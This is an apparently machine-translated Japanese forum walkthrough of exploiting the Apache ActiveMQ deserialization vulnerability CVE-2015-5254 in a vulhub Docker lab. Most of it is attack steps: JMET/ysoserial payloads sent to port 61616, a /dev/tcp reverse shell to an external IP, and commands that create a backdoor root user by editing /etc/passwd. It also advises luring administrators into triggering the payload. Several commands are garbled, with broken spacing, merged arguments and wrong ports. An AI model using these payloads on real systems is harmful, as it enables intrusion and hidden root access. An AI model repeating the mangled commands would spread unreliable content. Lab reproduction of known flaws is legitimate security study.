Jump to content

0x00脆弱性はじめに

Apache ActiveMQは、米国のApache Software Foundationが開発したオープンソースメッセージングミドルウェアのセットです。 Javaメッセージサービス、クラスター、スプリングフレームワークなどをサポートしています。ApacheActiveMQ5.13.0の前に、バージョン5.xの前にセキュリティの脆弱性がありました。リモート攻撃者は、特別に作成されたシリアル化されたJavaメッセージサービス(JMS)ObjectMessageオブジェクトを使用して、任意のコードを実行できます。

0x01脆弱性環境

1。ubuntu16.04の下にdocker/docker-compose:をインストールします

#PIPをインストールします

curl -s https://bootstrap.pypa.io/get-pip.py | Python3

#dockerの最新バージョンをインストールします

curl -s https://get.docker.com/| sh

#Dockerサービスを開始します

Service Docker Start

#composeをインストールします

PIPインストールDocker-Compose

#プロジェクトをダウンロードします

wget https://github.com/vulhub/vulhub/archive/master.zip -o vulhub-master.zip

unzip vulhub-master.zip

CD Vulhub-Master

#特定の脆弱性/環境のディレクトリを入力します

CD Activemq/CVE-2015-5254/

#automatedコンピレーション環境

Docker-Composeビルド

jhj3fukkgtr8650.jpg

2。脆弱性環境を実行:

docker -compose up -d

環境が実行された後、2つのポート61616と8161が聴き、61616は作業ポートであり、このポートでメッセージが渡されます。 8161はネットワーク管理ページポートであり、http://Your-IP:8161にアクセスしてネットワーク管理ページを見ることができますが、理論的には、この脆弱性はネットワークを必要としません。

ブラウザを使用してActiveMQに直接アクセスして、展開が完了しているかどうかを確認します

http://45.32.101.90:8161/admin/(デフォルトのユーザー名/パスワードはadmin/admin)

ljlozame5np8651.jpg

0x02脆弱性の再発

1。脆弱性の搾取プロセスは次のとおりです。

a。 construct(ysoserialを使用できます)実行可能コマンドのシリアル化されたオブジェクト

b。メッセージとして、ターゲットポート61616に送信します

c。アクセスされたWeb管理ページ、メッセージの読み取り、トリガーの脆弱性

2. Exploitation :にJMETを使用します

最初にJMET JARファイルをダウンロードし、同じディレクトリに外部フォルダーを作成します(それ以外の場合、フォルダーが存在しないエラーが爆発する場合があります)。 JMETの原則は、Ysoserialを使用してペイロードを生成して送信することです(瓶にYsoserialが付属しているため、ローマなどのYsoserialガジェットで使用できるものを選択する必要があります。

CD /OPT

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

MKDIR外部

3。コマンドを実行します

Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'touch /tmp /sucess' -yp Rome 45.32.101.90 61616

fz1puf33kpx8652.jpg

4。現時点では、ターゲットActiveMQに名前付きイベントというキューが追加されます。 http://45.32.101.903:8161/admin/browse.jsp?jmsdestination=event:beansed from http://45.32.101.903:8161からすべてのメッセージが表示されます。

t0gfl2yp50z8653.jpg

5.クリックしてこのメッセージを表示して、コマンドの実行をトリガーします

n5i0b43ajos8654.jpg

6.この時点でコンテナを入力します

docker exec -it cc0e9385f975 /bin /bash

fetkrrwuw2l8655.jpg

7./TMP /が正常に作成されていることがわかります。これは、搾取が成功していることを示しています。

zbaliwgexai8656.jpg

8.Bounce Shell:

Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'bash -i /dev/tcp/45.32.101.90/123401' -Yp Rome45.32.101.90 61616

3ur34wwqf2e8657.jpg

リモートホストはポート1234に耳を傾けます。

NC -LVVP 1234

リバウンドがshell:であることがわかります

kstq35odu0q8658.jpg

ネットワーク管理ページを介してメッセージにアクセスし、脆弱性をトリガーするには管理者の権限が必要であることは注目に値します。パスワードがなければ、管理者にリンクにトリガーへのリンクにアクセスするように誘導したり、他の正当なサービスに必要なメッセージとして偽装したり、クライアントにアクセスできるようにすることができます。

9.ユーザーを追加します

JMEMコマンドを実行してテストユーザーを追加してルートグループに追加し、http://192.168.221.185:8161/admin/browse.jsp?jmsdestination=イベントページに戻り、メッセージをクリックしてトリガーを使用します。

Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'useradd -g root -s /bin /bash -u 10010 test' -yp rome 45.32.101.90 61616

ルートの権限があるように、PassWDのテストのUIDを0に変更して、http://192.168.221.1853:8161/admin/browse.jsp?jmsdestination=eventページ、メッセージをクリックしてトリガーに戻ります。

Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'sed -i' s/test:x3:10010/etc/etc/etc/passwd '-yp rome 45.32.101.90 616166

テストユーザーのパスワードを設定し、http://192.168.221.185:8161/admin/browse.jsp?jmsdestination=イベントページに戻り、メッセージをクリックしてトリガーします。

Java -jar Jmet -0.1.0 -All.jar -Q Event -i activemq -s -y 'echo' test:SD123456 '| Chpasswd '-yp Rome 45.32.101.90 61616

この時点まで、ルートとパスワード123456の権限を持つユーザーが作成されました。 SSHを使用して、オペレーティングシステムに直接リモートでログインできますが、それでも最高の権限があります。

qsnhwm3ticb8659.jpg

0x03参照リンク

https://www.blackhat.com/docs/us-16/materials/us-16-kaiser-pwning-your-java-messaging-with-deserialization-vulnerabilities.pdf

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...